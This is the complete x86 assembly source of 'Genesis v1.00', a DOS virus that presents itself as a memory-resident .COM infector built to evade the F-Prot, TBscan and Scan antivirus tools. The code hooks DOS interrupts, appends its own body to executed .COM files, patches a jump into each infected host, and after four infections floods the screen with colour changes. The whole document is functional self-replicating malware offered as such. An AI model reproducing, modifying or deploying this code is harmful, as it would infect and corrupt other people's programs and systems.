;                               Genesis v1.00
;                               ÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;                      "As long as the earth endures,
;                          seedtime and harvest,
;                             cold and heat,
;                           summer and winter,
;                             day and night
;                           will never cease."
;                                    -Genesis 8:22
;                     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                       
;                       Memory Resident .COM Infector
;                       ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                          Critical Error Handler
;                          ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ     
;                     Screen Routine After 4 Infections       
;                     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                          Interesting Techniques
;                          ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                   Unable To Be Scanned By Known Scanners
;                           (F-Prot, TBscan, Scan)
;                   ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                           Written by Holy Spirit 
;                                  Årinity    
;                           ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;       
; Also: to run effectively, a stub of 4 bytes should be appended to the
;       beginning of the virus.

.model tiny
.radix 16
.code
	org     100
start:
	call    get_offset
	db      'F'
get_offset:
	mov     bp,sp
	mov     bp,[bp]
	dec     sp
	dec     sp
	sub     bp, offset get_offset-1         ; set offset of start

Check_res:
	mov     ax, 3565                        ; Is Int 65 hooked?
	int     21
	mov     bx, es
	cmp     bx, 0
	jne     in_memory

Allocate_Memory:
	sub     word ptr ds:[02], 40            ; lower top of mem by 1K

	mov     ax,ds
	dec     ax                              ;Get Segment of MCB
	mov     ds,ax

	sub     word ptr ds:[03],40             ;Subtract 1K from host's MCB

	xor     ax,ax
	mov     ds,ax                           ;Allocate 1K from Bios
	dec     word ptr ds:[413]

	mov     ax,word ptr ds:[413]            ;Get memory in 1K
	mov     cl,6
	shl     ax,cl                           ;change to segment
						;AX now equals free segment
						;of memory
	sub     ax, 10
	mov     es,ax                           ;Set ES = Free Segment
	push    cs                              ;And DS = Code Segment
	pop     ds

Copy_Virus:
	mov     di,100                           ;keep offset the same as COM
	lea     si,[bp+start]
	mov     cx,(_end-start+1)/2
MoveIntoMem:    
	push    [si]
	pop     ax
	inc     si
	inc     si
	stosw    
	loop    MoveIntoMem

set_interrupts:
	push    es  es                          ; set ds and dx to new segment
	pop     dx  ds
	xor     ax, ax
	mov     es, ax                          ; ES = 0

	cli

	mov     word ptr es:[65*4], offset Int_65       ; Set Int 65
	mov     word ptr es:[65*4+2], dx

	mov     word ptr es:[1c*4], offset Int_1c      ; Set Int 1C
	mov     word ptr es:[1c*4+2], dx

	lea     ax, Int_21                             ; Set Int 21
	xchg    word ptr es:[21*4], ax
	xchg    word ptr es:[21*4+2], dx
	mov     ds:[IP_21], ax
	mov     ds:[CS_21], dx

	push    ax dx
	pop     es:[69*4+2]
	pop     es:[69*4]
	
	sti

in_memory:
	mov     di, 100                         ; set DI to start of program
	lea     si, [bp+storage_bytes+10]       ; Set SI to offset of storage
						; bytes plus one segment
	push    cs cs
	pop     es bx                           ; Set ES to Code Segment
	xor     ax, ax                          ; Reset AX register
	dec     bx
	mov     ds, bx                          ; Set DS to one segment less
						; than Code Segment
	mov     ax, [si]                        ; Put back original four bytes
	mov     word ptr [di+10], ax            ; at beginning of program
	mov     ax, [si+2]
	mov     word ptr [di+2+10], ax
	inc     bx
	mov     ds, bx                          ; Reset DS back to CS
	xor     bx, bx                          ; Reset all other registers
	xor     cx, cx
	xor     dx, dx
jump_to     db      0e9
progstart   dw      start-progstart-6


Int_21:
	inc     ah
	cmp     ax, 4c00                ; Is it a regular execute?
	je      have_fun                ; No?  Exit.
	jmp     go_int21

have_fun:
	push    ax bx cx dx si di es ds

	cli
	xor     ax, ax
	mov     es, ax
	push    es:[24*4]
	push    es:[24*4+2]
	push    cs                      ; capture critical error handler
	push    offset int_24           ; for those unwanted "write 
	pop     es:[24*4]               ; protected" disks...
	pop     es:[24*4+2]             
	sti

	mov     ax, 3d02                ; open for read/write
	int     69
	jc      no_open                 ; did it open right?  If not get out.
	xchg    bx, ax                  ; BX = file handle

	mov     ah, 3f                  ; Read first four bytes
	push    cs
	pop     ds
	lea     dx, storage_bytes
	mov     cx, 4
	int     69

	mov     ax, word ptr storage_bytes      ; If it's an EXE close
	add     ah,al
	cmp     ah,'M'+'Z'
	je      close_it
	
	cmp     byte ptr [storage_bytes+3], 0fe   ; if already infected close
	je      close_it

	inc     cs:infected_four        ; Keep track of number infected

	mov     ax, 4202                ; Go to end of file
	xor     cx, cx
	xor     dx, dx
	int     69

	
	not     ax
	mov     progstart, ax
	sub     progstart, jump_to-start+2
	not     ax
	
	sub     ax, 3                           ; Calculate jump to virus
	mov     word ptr jump_to_virus+1, ax    ; Store jump in memory

	push    cs:infected_four        ; save current number of infections
	mov     cs:infected_four, 0     ; set to zero for copying

	mov     ah, 40
	mov     cx, _end-start
	mov     dx, offset start
	int     69                      ; append virus to program

	pop     cs:infected_four        ; reset back to original value

	mov     ax, 4200
	xor     cx, cx
	xor     dx, dx
	int     69                      ; jump back to beginning of program

	mov     ah, 40
	mov     cx, 4
	mov     dx, offset jump_to_virus
	int     69                      ; write the jump to the virus

close_it:
	mov     ah, 3e                  ; close the file
	int     69
no_open:
	pop     es:[24*4+2]
	pop     es:[24*4]               ; reset critical error handler
	pop     ds es di si dx cx bx ax ; reset original registers
go_int21:
	dec     ah
	db      0ea                     ; call a real Int 21
IP_21   dw      ?
CS_21   dw      ?

int_24:
	mov     al, 3
	iret

	
Int_65:                                 ; fake interrupt to check for
	iret                            ; installation

count2  db      1                       ; variable to keep track of fading


Int_1C:
	push    ax cx dx ds si          ; push registers
	cmp     cs:infected_four, 4     ; only run if four files have been
	jb      return2                 ; infected since installation
	cmp     cs:count2, 1
	je      C1
	cmp     cs:count2, 2
	je      C2
	cmp     cs:count2, 3
	je      C3
	mov     dl, 7
	mov     cs:count2, 1
	jmp     setup
C1:
	mov     dl, 8
	mov     cs:count2, 2
	jmp     setup
C2:
	mov     dl, 0
	mov     cs:count2, 3
	jmp     setup
C3:
	mov     dl, 8
	mov     cs:count2, 4

setup:
	mov     ax, 0b800
	mov     ds, ax
	mov     cx, 2000d
	mov     si, 1
loop_:
	mov     byte ptr [ds:si], dl
	add     si, 2
	loop    loop_
return2:
	pop     si ds dx cx ax
	iret


infected_four   dw      0
storage_bytes   db      0cdh, 20, 90, 0fe
jump_to_virus   db      0e9, 00, 00, 0fe


_end:
end start
